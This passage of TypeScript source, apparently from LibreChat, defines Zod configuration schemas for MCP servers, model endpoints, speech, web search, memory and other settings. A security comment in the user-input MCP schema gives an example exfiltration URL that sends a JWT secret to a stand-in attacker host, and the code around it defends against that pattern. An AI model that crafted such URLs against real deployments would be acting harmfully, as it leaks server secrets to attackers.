URL(val).protocol;\n return protocol !== 'ws:' && protocol !== 'wss:';\n },\n {\n message: 'SSE URL must not start with ws:// or wss://',\n },\n ),\n});\n\nexport const StreamableHTTPOptionsSchema = BaseOptionsSchema.extend({\n type: z.union([z.literal('streamable-http'), z.literal('http')]),\n headers: z.record(z.string(), z.string()).optional(),\n url: z\n .string()\n .transform((val: string) => extractEnvVariable(val))\n .pipe(z.string().url())\n .refine(\n (val: string) => {\n const protocol = new URL(val).protocol;\n return protocol !== 'ws:' && protocol !== 'wss:';\n },\n {\n message: 'Streamable HTTP URL must not start with ws:// or wss://',\n },\n ),\n});\n\nexport const MCPOptionsSchema = z.union([\n StdioOptionsSchema,\n WebSocketOptionsSchema,\n SSEOptionsSchema,\n StreamableHTTPOptionsSchema,\n]);\n\nexport const MCPServersSchema = z.record(z.string(), MCPOptionsSchema);\n\nexport type MCPOptions = z.infer<typeof MCPOptionsSchema>;\n\n/**\n * Helper to omit server-managed fields that should not come from UI\n */\nconst omitServerManagedFields = <T extends z.ZodObject<z.ZodRawShape>>(schema: T) =>\n schema.omit({\n startup: true,\n timeout: true,\n sseReadTimeout: true,\n initTimeout: true,\n chatMenu: true,\n serverInstructions: true,\n requiresOAuth: true,\n customUserVars: true,\n oauth_headers: true,\n });\n\nconst envVarPattern = /\\$\\{[^}]+\\}/;\nconst isWsProtocol = (val: string): boolean => /^wss?:/i.test(val);\nconst isHttpProtocol = (val: string): boolean => /^https?:/i.test(val);\n\n/**\n * Builds a URL schema for user input that rejects ${VAR} env variable patterns\n * and validates protocol constraints without resolving environment variables.\n */\nconst userUrlSchema = (protocolCheck: (val: string) => boolean, message: string) =>\n z\n .string()\n .refine((val) => !envVarPattern.test(val), {\n message: 'Environment variable references are not allowed in URLs',\n })\n .pipe(z.string().url())\n .refine(protocolCheck, { message });\n\n/**\n * MCP Server configuration that comes from UI/API input only.\n * Omits server-managed fields like startup, timeout, customUserVars, etc.\n * Allows: title, description, url, iconPath, oauth (user credentials)\n *\n * SECURITY: Stdio transport is intentionally excluded from user input.\n * Stdio allows arbitrary command execution and should only be configured\n * by administrators via the YAML config file (librechat.yaml).\n * Only remote transports (SSE, HTTP, WebSocket) are allowed via the API.\n *\n * SECURITY: URL fields use userUrlSchema instead of the admin schemas'\n * extractEnvVariable transform to prevent env variable exfiltration\n * through user-controlled URLs (e.g. http://attacker.com/?k=${JWT_SECRET}).\n * Protocol checks use positive allowlists (http(s) / ws(s)) to block\n * file://, ftp://, javascript:, and other non-network schemes.\n */\nexport const MCPServerUserInputSchema = z.union([\n omitServerManagedFields(WebSocketOptionsSchema).extend({\n url: userUrlSchema(isWsProtocol, 'WebSocket URL must use ws:// or wss://'),\n }),\n omitServerManagedFields(SSEOptionsSchema).extend({\n url: userUrlSchema(isHttpProtocol, 'SSE URL must use http:// or https://'),\n }),\n omitServerManagedFields(StreamableHTTPOptionsSchema).extend({\n url: userUrlSchema(isHttpProtocol, 'Streamable HTTP URL must use http:// or https://'),\n }),\n]);\n\nexport type MCPServerUserInput = z.infer<typeof MCPServerUserInputSchema>;\n","import { z } from 'zod';\nimport type { ZodError } from 'zod';\nimport type { TEndpointsConfig, TModelsConfig, TConfig } from './types';\nimport { EModelEndpoint, eModelEndpointSchema, isAgentsEndpoint } from './schemas';\nimport { specsConfigSchema, TSpecsConfig } from './models';\nimport { fileConfigSchema } from './file-config';\nimport { apiBaseUrl } from './api-endpoints';\nimport { FileSources } from './types/files';\nimport { MCPServersSchema } from './mcp';\n\nexport const defaultSocialLogins = ['google', 'facebook', 'openid', 'github', 'discord', 'saml'];\n\nexport const defaultRetrievalModels = [\n 'gpt-4o',\n 'o1-preview-2024-09-12',\n 'o1-preview',\n 'o1-mini-2024-09-12',\n 'o1-mini',\n 'o3-mini',\n 'chatgpt-4o-latest',\n 'gpt-4o-2024-05-13',\n 'gpt-4o-2024-08-06',\n 'gpt-4o-mini',\n 'gpt-4o-mini-2024-07-18',\n 'gpt-4-turbo-preview',\n 'gpt-3.5-turbo-0125',\n 'gpt-4-0125-preview',\n 'gpt-4-1106-preview',\n 'gpt-3.5-turbo-1106',\n 'gpt-3.5-turbo-0125',\n 'gpt-4-turbo',\n 'gpt-4-0125',\n 'gpt-4-1106',\n];\n\nexport const excludedKeys = new Set([\n 'conversationId',\n 'title',\n 'iconURL',\n 'greeting',\n 'endpoint',\n 'endpointType',\n 'createdAt',\n 'updatedAt',\n 'expiredAt',\n 'messages',\n 'isArchived',\n 'tags',\n 'user',\n '__v',\n '_id',\n 'tools',\n 'model',\n 'files',\n 'spec',\n 'disableParams',\n]);\n\nexport enum SettingsViews {\n default = 'default',\n advanced = 'advanced',\n}\n\nexport const fileSourceSchema = z.nativeEnum(FileSources);\n\nexport const fileStrategiesSchema = z\n .object({\n default: fileSourceSchema.optional(),\n avatar: fileSourceSchema.optional(),\n image: fileSourceSchema.optional(),\n document: fileSourceSchema.optional(),\n })\n .optional();\n\n// Helper type to extract the shape of the Zod object schema\ntype SchemaShape<T> = T extends z.ZodObject<infer U> ? U : never;\n\n// Helper type to determine the default value or undefined based on whether the field has a default\ntype DefaultValue<T> =\n T extends z.ZodDefault<z.ZodTypeAny> ? ReturnType<T['_def']['defaultValue']> : undefined;\n\n// Extract default values or undefined from the schema shape\ntype ExtractDefaults<T> = {\n [P in keyof T]: DefaultValue<T[P]>;\n};\n\nexport type SchemaDefaults<T> = ExtractDefaults<SchemaShape<T>>;\n\nexport type TConfigDefaults = SchemaDefaults<typeof configSchema>;\n\nexport function getSchemaDefaults<Schema extends z.AnyZodObject>(\n schema: Schema,\n): ExtractDefaults<SchemaShape<Schema>> {\n const shape = schema.shape;\n const entries = Object.entries(shape).map(([key, value]) => {\n if (value instanceof z.ZodDefault) {\n // Extract default value if it exists\n return [key, value._def.defaultValue()];\n }\n return [key, undefined];\n });\n\n // Create the object with the right types\n return Object.fromEntries(entries) as ExtractDefaults<SchemaShape<Schema>>;\n}\n\nexport const modelConfigSchema = z\n .object({\n deploymentName: z.string().optional(),\n version: z.string().optional(),\n assistants: z.boolean().optional(),\n })\n .or(z.boolean());\n\nexport type TAzureModelConfig = z.infer<typeof modelConfigSchema>;\n\nexport const azureBaseSchema = z.object({\n apiKey: z.string(),\n serverless: z.boolean().optional(),\n instanceName: z.string().optional(),\n deploymentName: z.string().optional(),\n assistants: z.boolean().optional(),\n addParams: z.record(z.any()).optional(),\n dropParams: z.array(z.string()).optional(),\n version: z.string().optional(),\n baseURL: z.string().optional(),\n additionalHeaders: z.record(z.any()).optional(),\n});\n\nexport type TAzureBaseSchema = z.infer<typeof azureBaseSchema>;\n\nexport const azureGroupSchema = z\n .object({\n group: z.string(),\n models: z.record(z.string(), modelConfigSchema),\n })\n .required()\n .and(azureBaseSchema);\n\nexport const azureGroupConfigsSchema = z.array(azureGroupSchema).min(1);\nexport type TAzureGroup = z.infer<typeof azureGroupSchema>;\nexport type TAzureGroups = z.infer<typeof azureGroupConfigsSchema>;\nexport type TAzureModelMapSchema = {\n // deploymentName?: string;\n // version?: string;\n group: string;\n};\n\nexport type TAzureModelGroupMap = Record<string, TAzureModelMapSchema | undefined>;\nexport type TAzureGroupMap = Record<\n string,\n (TAzureBaseSchema & { models: Record<string, TAzureModelConfig | undefined> }) | undefined\n>;\n\nexport type TValidatedAzureConfig = {\n modelNames: string[];\n groupMap: TAzureGroupMap;\n assistantModels?: string[];\n assistantGroups?: string[];\n modelGroupMap: TAzureModelGroupMap;\n};\n\nexport type TAzureConfigValidationResult = TValidatedAzureConfig & {\n isValid: boolean;\n errors: (ZodError | string)[];\n};\n\nexport enum Capabilities {\n code_interpreter = 'code_interpreter',\n image_vision = 'image_vision',\n retrieval = 'retrieval',\n actions = 'actions',\n tools = 'tools',\n}\n\nexport enum AgentCapabilities {\n hide_sequential_outputs = 'hide_sequential_outputs',\n programmatic_tools = 'programmatic_tools',\n end_after_tools = 'end_after_tools',\n deferred_tools = 'deferred_tools',\n execute_code = 'execute_code',\n file_search = 'file_search',\n web_search = 'web_search',\n artifacts = 'artifacts',\n actions = 'actions',\n context = 'context',\n tools = 'tools',\n chain = 'chain',\n ocr = 'ocr',\n}\n\nexport const defaultAssistantsVersion = {\n [EModelEndpoint.assistants]: 2,\n [EModelEndpoint.azureAssistants]: 1,\n};\n\nexport const baseEndpointSchema = z.object({\n streamRate: z.number().optional(),\n baseURL: z.string().optional(),\n titlePrompt: z.string().optional(),\n titleModel: z.string().optional(),\n titleConvo: z.boolean().optional(),\n titleMethod: z\n .union([z.literal('completion'), z.literal('functions'), z.literal('structured')])\n .optional(),\n titleEndpoint: z.string().optional(),\n titlePromptTemplate: z.string().optional(),\n /** Maximum characters allowed in a single tool result before truncation. */\n maxToolResultChars: z.number().positive().optional(),\n});\n\nexport type TBaseEndpoint = z.infer<typeof baseEndpointSchema>;\n\nexport const bedrockEndpointSchema = baseEndpointSchema.merge(\n z.object({\n availableRegions: z.array(z.string()).optional(),\n models: z.array(z.string()).optional(),\n inferenceProfiles: z.record(z.string(), z.string()).optional(),\n }),\n);\n\nconst modelItemSchema = z.union([\n z.string(),\n z.object({\n name: z.string(),\n description: z.string().optional(),\n }),\n]);\n\nexport const assistantEndpointSchema = baseEndpointSchema.merge(\n z.object({\n /* assistants specific */\n disableBuilder: z.boolean().optional(),\n pollIntervalMs: z.number().optional(),\n timeoutMs: z.number().optional(),\n version: z.union([z.string(), z.number()]).default(2),\n supportedIds: z.array(z.string()).min(1).optional(),\n excludedIds: z.array(z.string()).min(1).optional(),\n privateAssistants: z.boolean().optional(),\n retrievalModels: z.array(z.string()).min(1).optional().default(defaultRetrievalModels),\n capabilities: z\n .array(z.nativeEnum(Capabilities))\n .optional()\n .default([\n Capabilities.code_interpreter,\n Capabilities.image_vision,\n Capabilities.retrieval,\n Capabilities.actions,\n Capabilities.tools,\n ]),\n /* general */\n apiKey: z.string().optional(),\n models: z\n .object({\n default: z.array(modelItemSchema).min(1),\n fetch: z.boolean().optional(),\n userIdQuery: z.boolean().optional(),\n })\n .optional(),\n headers: z.record(z.any()).optional(),\n }),\n);\n\nexport type TAssistantEndpoint = z.infer<typeof assistantEndpointSchema>;\n\nexport const defaultAgentCapabilities = [\n // Commented as requires latest Code Interpreter API\n // AgentCapabilities.programmatic_tools,\n AgentCapabilities.deferred_tools,\n AgentCapabilities.execute_code,\n AgentCapabilities.file_search,\n AgentCapabilities.web_search,\n AgentCapabilities.artifacts,\n AgentCapabilities.actions,\n AgentCapabilities.context,\n AgentCapabilities.tools,\n AgentCapabilities.chain,\n AgentCapabilities.ocr,\n];\n\nexport const agentsEndpointSchema = baseEndpointSchema\n .merge(\n z.object({\n /* agents specific */\n recursionLimit: z.number().optional(),\n disableBuilder: z.boolean().optional().default(false),\n maxRecursionLimit: z.number().optional(),\n maxCitations: z.number().min(1).max(50).optional().default(30),\n maxCitationsPerFile: z.number().min(1).max(10).optional().default(7),\n minRelevanceScore: z.number().min(0.0).max(1.0).optional().default(0.45),\n allowedProviders: z.array(z.union([z.string(), eModelEndpointSchema])).optional(),\n capabilities: z\n .array(z.nativeEnum(AgentCapabilities))\n .optional()\n .default(defaultAgentCapabilities),\n }),\n )\n .default({\n disableBuilder: false,\n capabilities: defaultAgentCapabilities,\n maxCitations: 30,\n maxCitationsPerFile: 7,\n minRelevanceScore: 0.45,\n });\n\nexport type TAgentsEndpoint = z.infer<typeof agentsEndpointSchema>;\n\nexport const endpointSchema = baseEndpointSchema.merge(\n z.object({\n name: z.string().refine((value) => !eModelEndpointSchema.safeParse(value).success, {\n message: `Value cannot be one of the default endpoint (EModelEndpoint) values: ${Object.values(\n EModelEndpoint,\n ).join(', ')}`,\n }),\n apiKey: z.string(),\n baseURL: z.string(),\n models: z.object({\n default: z.array(modelItemSchema).min(1),\n fetch: z.boolean().optional(),\n userIdQuery: z.boolean().optional(),\n }),\n summarize: z.boolean().optional(),\n summaryModel: z.string().optional(),\n iconURL: z.string().optional(),\n modelDisplayLabel: z.string().optional(),\n headers: z.record(z.any()).optional(),\n addParams: z.record(z.any()).optional(),\n dropParams: z.array(z.string()).optional(),\n customParams: z\n .object({\n defaultParamsEndpoint: z.string().default('custom'),\n paramDefinitions: z.array(z.record(z.any())).optional(),\n })\n .strict()\n .optional(),\n customOrder: z.number().optional(),\n directEndpoint: z.boolean().optional(),\n titleMessageRole: z.string().optional(),\n }),\n);\n\nexport type TEndpoint = z.infer<typeof endpointSchema>;\n\nexport const azureEndpointSchema = z\n .object({\n groups: azureGroupConfigsSchema,\n plugins: z.boolean().optional(),\n assistants: z.boolean().optional(),\n })\n .and(\n endpointSchema\n .pick({\n streamRate: true,\n titleConvo: true,\n titleMethod: true,\n titleModel: true,\n titlePrompt: true,\n titlePromptTemplate: true,\n summarize: true,\n summaryModel: true,\n customOrder: true,\n })\n .partial(),\n );\n\nexport type TAzureConfig = Omit<z.infer<typeof azureEndpointSchema>, 'groups'> &\n TAzureConfigValidationResult;\n\n/**\n * Vertex AI model configuration - similar to Azure model config\n * Allows specifying deployment name for each model\n */\nexport const vertexModelConfigSchema = z\n .object({\n /** The actual model ID/deployment name used by Vertex AI API */\n deploymentName: z.string().optional(),\n })\n .or(z.boolean());\n\nexport type TVertexModelConfig = z.infer<typeof vertexModelConfigSchema>;\n\n/**\n * Vertex AI configuration schema for Anthropic models served via Google Cloud Vertex AI.\n * Similar to Azure configuration, this allows running Anthropic models through Google Cloud.\n */\nexport const vertexAISchema = z.object({\n /** Enable Vertex AI mode for Anthropic (defaults to true when vertex config is present) */\n enabled: z.boolean().optional(),\n /** Google Cloud Project ID (optional - auto-detected from service key file if not provided) */\n projectId: z.string().optional(),\n /** Vertex AI region (e.g., 'us-east5', 'europe-west1') */\n region: z.string().default('us-east5'),\n /** Optional: Path to service account key file */\n serviceKeyFile: z.string().optional(),\n /** Optional: Default deployment name for all models (can be overridden per model) */\n deploymentName: z.string().optional(),\n /** Optional: Available models - can be string array or object with deploymentName mapping */\n models: z.union([z.array(z.string()), z.record(z.string(), vertexModelConfigSchema)]).optional(),\n});\n\nexport type TVertexAISchema = z.infer<typeof vertexAISchema>;\n\nexport type TVertexModelMap = Record<string, string>;\n\n/**\n * Validated Vertex AI configuration result\n */\nexport type TVertexAIConfig = TVertexAISchema & {\n isValid: boolean;\n errors: string[];\n modelNames?: string[];\n modelDeploymentMap?: TVertexModelMap;\n};\n\n/**\n * Anthropic endpoint schema with optional Vertex AI configuration.\n * Extends baseEndpointSchema with Vertex AI support.\n */\nexport const anthropicEndpointSchema = baseEndpointSchema.merge(\n z.object({\n /** Vertex AI configuration for running Anthropic models on Google Cloud */\n vertex: vertexAISchema.optional(),\n /** Optional: List of available models */\n models: z.array(z.string()).optional(),\n }),\n);\n\nexport type TAnthropicEndpoint = z.infer<typeof anthropicEndpointSchema>;\n\nconst ttsOpenaiSchema = z.object({\n url: z.string().optional(),\n apiKey: z.string(),\n model: z.string(),\n voices: z.array(z.string()),\n});\n\nconst ttsAzureOpenAISchema = z.object({\n instanceName: z.string(),\n apiKey: z.string(),\n deploymentName: z.string(),\n apiVersion: z.string(),\n model: z.string(),\n voices: z.array(z.string()),\n});\n\nconst ttsElevenLabsSchema = z.object({\n url: z.string().optional(),\n websocketUrl: z.string().optional(),\n apiKey: z.string(),\n model: z.string(),\n voices: z.array(z.string()),\n voice_settings: z\n .object({\n similarity_boost: z.number().optional(),\n stability: z.number().optional(),\n style: z.number().optional(),\n use_speaker_boost: z.boolean().optional(),\n })\n .optional(),\n pronunciation_dictionary_locators: z.array(z.string()).optional(),\n});\n\nconst ttsLocalaiSchema = z.object({\n url: z.string(),\n apiKey: z.string().optional(),\n voices: z.array(z.string()),\n backend: z.string(),\n});\n\nconst ttsSchema = z.object({\n openai: ttsOpenaiSchema.optional(),\n azureOpenAI: ttsAzureOpenAISchema.optional(),\n elevenlabs: ttsElevenLabsSchema.optional(),\n localai: ttsLocalaiSchema.optional(),\n});\n\nconst sttOpenaiSchema = z.object({\n url: z.string().optional(),\n apiKey: z.string(),\n model: z.string(),\n});\n\nconst sttAzureOpenAISchema = z.object({\n instanceName: z.string(),\n apiKey: z.string(),\n deploymentName: z.string(),\n apiVersion: z.string(),\n});\n\nconst sttSchema = z.object({\n openai: sttOpenaiSchema.optional(),\n azureOpenAI: sttAzureOpenAISchema.optional(),\n});\n\nconst speechTab = z\n .object({\n conversationMode: z.boolean().optional(),\n advancedMode: z.boolean().optional(),\n speechToText: z\n .boolean()\n .optional()\n .or(\n z.object({\n engineSTT: z.string().optional(),\n languageSTT: z.string().optional(),\n autoTranscribeAudio: z.boolean().optional(),\n decibelValue: z.number().optional(),\n autoSendText: z.number().optional(),\n }),\n )\n .optional(),\n textToSpeech: z\n .boolean()\n .optional()\n .or(\n z.object({\n engineTTS: z.string().optional(),\n voice: z.string().optional(),\n languageTTS: z.string().optional(),\n automaticPlayback: z.boolean().optional(),\n playbackRate: z.number().optional(),\n cacheTTS: z.boolean().optional(),\n }),\n )\n .optional(),\n })\n .optional();\n\nexport enum RateLimitPrefix {\n FILE_UPLOAD = 'FILE_UPLOAD',\n IMPORT = 'IMPORT',\n TTS = 'TTS',\n STT = 'STT',\n}\n\nexport const rateLimitSchema = z.object({\n fileUploads: z\n .object({\n ipMax: z.number().optional(),\n ipWindowInMinutes: z.number().optional(),\n userMax: z.number().optional(),\n userWindowInMinutes: z.number().optional(),\n })\n .optional(),\n conversationsImport: z\n .object({\n ipMax: z.number().optional(),\n ipWindowInMinutes: z.number().optional(),\n userMax: z.number().optional(),\n userWindowInMinutes: z.number().optional(),\n })\n .optional(),\n tts: z\n .object({\n ipMax: z.number().optional(),\n ipWindowInMinutes: z.number().optional(),\n userMax: z.number().optional(),\n userWindowInMinutes: z.number().optional(),\n })\n .optional(),\n stt: z\n .object({\n ipMax: z.number().optional(),\n ipWindowInMinutes: z.number().optional(),\n userMax: z.number().optional(),\n userWindowInMinutes: z.number().optional(),\n })\n .optional(),\n});\n\nexport enum EImageOutputType {\n PNG = 'png',\n WEBP = 'webp',\n JPEG = 'jpeg',\n}\n\nconst termsOfServiceSchema = z.object({\n externalUrl: z.string().optional(),\n openNewTab: z.boolean().optional(),\n modalAcceptance: z.boolean().optional(),\n modalTitle: z.string().optional(),\n modalContent: z.string().or(z.array(z.string())).optional(),\n});\n\nexport type TTermsOfService = z.infer<typeof termsOfServiceSchema>;\n\n// Schema for localized string (either simple string or language-keyed object)\nconst localizedStringSchema = z.union([z.string(), z.record(z.string())]);\nexport type LocalizedString = z.infer<typeof localizedStringSchema>;\n\nconst mcpServersSchema = z\n .object({\n placeholder: z.string().optional(),\n use: z.boolean().optional(),\n create: z.boolean().optional(),\n share: z.boolean().optional(),\n public: z.boolean().optional(),\n trustCheckbox: z\n .object({\n label: localizedStringSchema.optional(),\n subLabel: localizedStringSchema.optional(),\n })\n .optional(),\n })\n .optional();\n\nexport type TMcpServersConfig = z.infer<typeof mcpServersSchema>;\n\nexport const interfaceSchema = z\n .object({\n privacyPolicy: z\n .object({\n externalUrl: z.string().optional(),\n openNewTab: z.boolean().optional(),\n })\n .optional(),\n termsOfService: termsOfServiceSchema.optional(),\n customWelcome: z.string().optional(),\n mcpServers: mcpServersSchema.optional(),\n endpointsMenu: z.boolean().optional(),\n modelSelect: z.boolean().optional(),\n parameters: z.boolean().optional(),\n sidePanel: z.boolean().optional(),\n multiConvo: z.boolean().optional(),\n bookmarks: z.boolean().optional(),\n memories: z.boolean().optional(),\n presets: z.boolean().optional(),\n prompts: z\n .union([\n z.boolean(),\n z.object({\n use: z.boolean().optional(),\n create: z.boolean().optional(),\n share: z.boolean().optional(),\n public: z.boolean().optional(),\n }),\n ])\n .optional(),\n agents: z\n .union([\n z.boolean(),\n z.object({\n use: z.boolean().optional(),\n create: z.boolean().optional(),\n share: z.boolean().optional(),\n public: z.boolean().optional(),\n }),\n ])\n .optional(),\n temporaryChat: z.boolean().optional(),\n temporaryChatRetention: z.number().min(1).max(8760).optional(),\n runCode: z.boolean().optional(),\n webSearch: z.boolean().optional(),\n peoplePicker: z\n .object({\n users: z.boolean().optional(),\n groups: z.boolean().optional(),\n roles: z.boolean().optional(),\n })\n .optional(),\n marketplace: z\n .object({\n use: z.boolean().optional(),\n })\n .optional(),\n fileSearch: z.boolean().optional(),\n fileCitations: z.boolean().optional(),\n remoteAgents: z\n .object({\n use: z.boolean().optional(),\n create: z.boolean().optional(),\n share: z.boolean().optional(),\n public: z.boolean().optional(),\n })\n .optional(),\n })\n .default({\n endpointsMenu: true,\n modelSelect: true,\n parameters: true,\n sidePanel: true,\n presets: true,\n multiConvo: true,\n bookmarks: true,\n memories: true,\n prompts: {\n use: true,\n create: true,\n share: false,\n public: false,\n },\n agents: {\n use: true,\n create: true,\n share: false,\n public: false,\n },\n temporaryChat: true,\n runCode: true,\n webSearch: true,\n peoplePicker: {\n users: true,\n groups: true,\n roles: true,\n },\n marketplace: {\n use: false,\n },\n mcpServers: {\n use: true,\n create: true,\n share: false,\n public: false,\n },\n fileSearch: true,\n fileCitations: true,\n remoteAgents: {\n use: false,\n create: false,\n share: false,\n public: false,\n },\n });\n\nexport type TInterfaceConfig = z.infer<typeof interfaceSchema>;\nexport type TBalanceConfig = z.infer<typeof balanceSchema>;\nexport type TTransactionsConfig = z.infer<typeof transactionsSchema>;\n\nexport const turnstileOptionsSchema = z\n .object({\n language: z.string().default('auto'),\n size: z.enum(['normal', 'compact', 'flexible', 'invisible']).default('normal'),\n })\n .default({\n language: 'auto',\n size: 'normal',\n });\n\nexport const turnstileSchema = z.object({\n siteKey: z.string(),\n options: turnstileOptionsSchema.optional(),\n});\n\nexport type TTurnstileConfig = z.infer<typeof turnstileSchema>;\n\nexport type TStartupConfig = {\n appTitle: string;\n socialLogins?: string[];\n interface?: TInterfaceConfig;\n turnstile?: TTurnstileConfig;\n balance?: TBalanceConfig;\n transactions?: TTransactionsConfig;\n discordLoginEnabled: boolean;\n facebookLoginEnabled: boolean;\n githubLoginEnabled: boolean;\n googleLoginEnabled: boolean;\n openidLoginEnabled: boolean;\n appleLoginEnabled: boolean;\n samlLoginEnabled: boolean;\n openidLabel: string;\n openidImageUrl: string;\n openidAutoRedirect: boolean;\n samlLabel: string;\n samlImageUrl: string;\n /** LDAP Auth Configuration */\n ldap?: {\n /** LDAP enabled */\n enabled: boolean;\n /** Whether LDAP uses username vs. email */\n username?: boolean;\n };\n serverDomain: string;\n emailLoginEnabled: boolean;\n registrationEnabled: boolean;\n socialLoginEnabled: boolean;\n passwordResetEnabled: boolean;\n emailEnabled: boolean;\n showBirthdayIcon: boolean;\n helpAndFaqURL: string;\n customFooter?: string;\n modelSpecs?: TSpecsConfig;\n modelDescriptions?: Record<string, Record<string, string>>;\n sharedLinksEnabled: boolean;\n publicSharedLinksEnabled: boolean;\n analyticsGtmId?: string;\n bundlerURL?: string;\n staticBundlerURL?: string;\n sharePointFilePickerEnabled?: boolean;\n sharePointBaseUrl?: string;\n sharePointPickerGraphScope?: string;\n sharePointPickerSharePointScope?: string;\n openidReuseTokens?: boolean;\n minPasswordLength?: number;\n webSearch?: {\n searchProvider?: SearchProviders;\n scraperProvider?: ScraperProviders;\n rerankerType?: RerankerTypes;\n };\n mcpServers?: Record<\n string,\n {\n customUserVars: Record<\n string,\n {\n title: string;\n description: string;\n }\n >;\n chatMenu?: boolean;\n isOAuth?: boolean;\n startup?: boolean;\n iconPath?: string;\n }\n >;\n mcpPlaceholder?: string;\n conversationImportMaxFileSize?: number;\n};\n\nexport enum OCRStrategy {\n MISTRAL_OCR = 'mistral_ocr',\n CUSTOM_OCR = 'custom_ocr',\n AZURE_MISTRAL_OCR = 'azure_mistral_ocr',\n VERTEXAI_MISTRAL_OCR = 'vertexai_mistral_ocr',\n DOCUMENT_PARSER = 'document_parser',\n}\n\nexport enum SearchCategories {\n PROVIDERS = 'providers',\n SCRAPERS = 'scrapers',\n RERANKERS = 'rerankers',\n}\n\nexport enum SearchProviders {\n SERPER = 'serper',\n SEARXNG = 'searxng',\n}\n\nexport enum ScraperProviders {\n FIRECRAWL = 'firecrawl',\n SERPER = 'serper',\n}\n\nexport enum RerankerTypes {\n JINA = 'jina',\n COHERE = 'cohere',\n}\n\nexport enum SafeSearchTypes {\n OFF = 0,\n MODERATE = 1,\n STRICT = 2,\n}\n\nexport const webSearchSchema = z.object({\n serperApiKey: z.string().optional().default('${SERPER_API_KEY}'),\n searxngInstanceUrl: z.string().optional().default('${SEARXNG_INSTANCE_URL}'),\n searxngApiKey: z.string().optional().default('${SEARXNG_API_KEY}'),\n firecrawlApiKey: z.string().optional().default('${FIRECRAWL_API_KEY}'),\n firecrawlApiUrl: z.string().optional().default('${FIRECRAWL_API_URL}'),\n firecrawlVersion: z.string().optional().default('${FIRECRAWL_VERSION}'),\n jinaApiKey: z.string().optional().default('${JINA_API_KEY}'),\n jinaApiUrl: z.string().optional().default('${JINA_API_URL}'),\n cohereApiKey: z.string().optional().default('${COHERE_API_KEY}'),\n searchProvider: z.nativeEnum(SearchProviders).optional(),\n scraperProvider: z.nativeEnum(ScraperProviders).optional(),\n rerankerType: z.nativeEnum(RerankerTypes).optional(),\n scraperTimeout: z.number().optional(),\n safeSearch: z.nativeEnum(SafeSearchTypes).default(SafeSearchTypes.MODERATE),\n firecrawlOptions: z\n .object({\n formats: z.array(z.string()).optional(),\n includeTags: z.array(z.string()).optional(),\n excludeTags: z.array(z.string()).optional(),\n headers: z.record(z.string()).optional(),\n waitFor: z.number().optional(),\n timeout: z.number().optional(),\n maxAge: z.number().optional(),\n mobile: z.boolean().optional(),\n skipTlsVerification: z.boolean().optional(),\n blockAds: z.boolean().optional(),\n removeBase64Images: z.boolean().optional(),\n parsePDF: z.boolean().optional(),\n storeInCache: z.boolean().optional(),\n zeroDataRetention: z.boolean().optional(),\n location: z\n .object({\n country: z.string().optional(),\n languages: z.array(z.string()).optional(),\n })\n .optional(),\n onlyMainContent: z.boolean().optional(),\n changeTrackingOptions: z\n .object({\n modes: z.array(z.string()).optional(),\n schema: z.record(z.unknown()).optional(),\n prompt: z.string().optional(),\n tag: z.string().nullable().optional(),\n })\n .optional(),\n })\n .optional(),\n});\n\nexport type TWebSearchConfig = DeepPartial<z.infer<typeof webSearchSchema>>;\n\nexport const ocrSchema = z.object({\n mistralModel: z.string().optional(),\n apiKey: z.string().optional().default('${OCR_API_KEY}'),\n baseURL: z.string().optional().default('${OCR_BASEURL}'),\n strategy: z.nativeEnum(OCRStrategy).default(OCRStrategy.MISTRAL_OCR),\n});\n\nexport const balanceSchema = z.object({\n enabled: z.boolean().optional().default(false),\n startBalance: z.number().optional().default(20000),\n autoRefillEnabled: z.boolean().optional().default(false),\n refillIntervalValue: z.number().optional().default(30),\n refillIntervalUnit: z\n .enum(['seconds', 'minutes', 'hours', 'days', 'weeks', 'months'])\n .optional()\n .default('days'),\n refillAmount: z.number().optional().default(10000),\n});\n\nexport const transactionsSchema = z.object({\n enabled: z.boolean().optional().default(true),\n});\n\nexport const memorySchema = z.object({\n disabled: z.boolean().optional(),\n validKeys: z.array(z.string()).optional(),\n tokenLimit: z.number().optional(),\n charLimit: z.number().optional().default(10000),\n personalize: z.boolean().default(true),\n messageWindowSize: z.number().optional().default(5),\n agent: z\n .union([\n z.object({\n id: z.string(),\n }),\n z.object({\n provider: z.string(),\n model: z.string(),\n instructions: z.string().optional(),\n model_parameters: z.record(z.any()).optional(),\n }),\n ])\n .optional(),\n});\n\nexport type TMemoryConfig = DeepPartial<z.infer<typeof memorySchema>>;\n\nexport const summarizationTriggerSchema = z.object({\n type: z.enum(['token_count']),\n value: z.number().positive(),\n});\n\nexport const contextPruningSchema = z.object({\n enabled: z.boolean().optional(),\n keepLastAssistants: z.number().min(0).max(10).optional(),\n softTrimRatio: z.number().min(0).max(1).optional(),\n hardClearRatio: z.number().min(0).max(1).optional(),\n minPrunableToolChars: z.number().min(0).optional(),\n});\n\nexport const summarizationConfigSchema = z.object({\n enabled: z.boolean().optional(),\n provider: z.string().optional(),\n model: z.string().optional(),\n parameters: z.record(z.union([z.string(), z.number(), z.boolean(), z.null()])).optional(),\n trigger: summarizationTriggerSchema.optional(),\n prompt: z.string().optional(),\n updatePrompt: z.string().optional(),\n reserveRatio: z.number().min(0).max(1).optional(),\n maxSummaryTokens: z.number().positive().optional(),\n contextPruning: contextPruningSchema.optional(),\n});\n\nexport type SummarizationConfig = z.infer<typeof summarizationConfigSchema>;\n\nconst customEndpointsSchema = z.array(endpointSchema.partial()).optional();\n\nexport const configSchema = z.object({\n version: z.string(),\n cache: z.boolean().default(true),\n ocr: ocrSchema.optional(),\n webSearch: webSearchSchema.optional(),\n memory: memorySchema.optional(),\n summarization: summarizationConfigSchema.optional(),\n secureImageLinks: z.boolean().optional(),\n imageOutputType: z.nativeEnum(EImageOutputType).default(EImageOutputType.PNG),\n includedTools: z.array(z.string()).optional(),\n filteredTools: z.array(z.string()).optional(),\n mcpServers: MCPServersSchema.optional(),\n mcpSettings: z\n .object({\n allowedDomains: z.array(z.string()).optional(),\n })\n .optional(),\n interface: interfaceSchema,\n turnstile: turnstileSchema.optional(),\n fileStrategy: fileSourceSchema.default(FileSources.local),\n fileStrategies: fileStrategiesSchema,\n actions: z\n .object({\n allowedDomains: z.array(z.string()).optional(),\n })\n .optional(),\n registration: z\n .object({\n socialLogins: z.array(z.string()).optional(),\n allowedDomains: z.array(z.string()).optional(),\n })\n .default({ socialLogins: defaultSocialLogins }),\n balance: balanceSchema.optional(),\n transactions: transactionsSchema.optional(),\n speech: z\n .object({\n tts: ttsSchema.optional(),\n stt: sttSchema.optional(),\n speechTab: speechTab.optional(),\n })\n .optional(),\n rateLimits: rateLimitSchema.optional(),\n fileConfig: 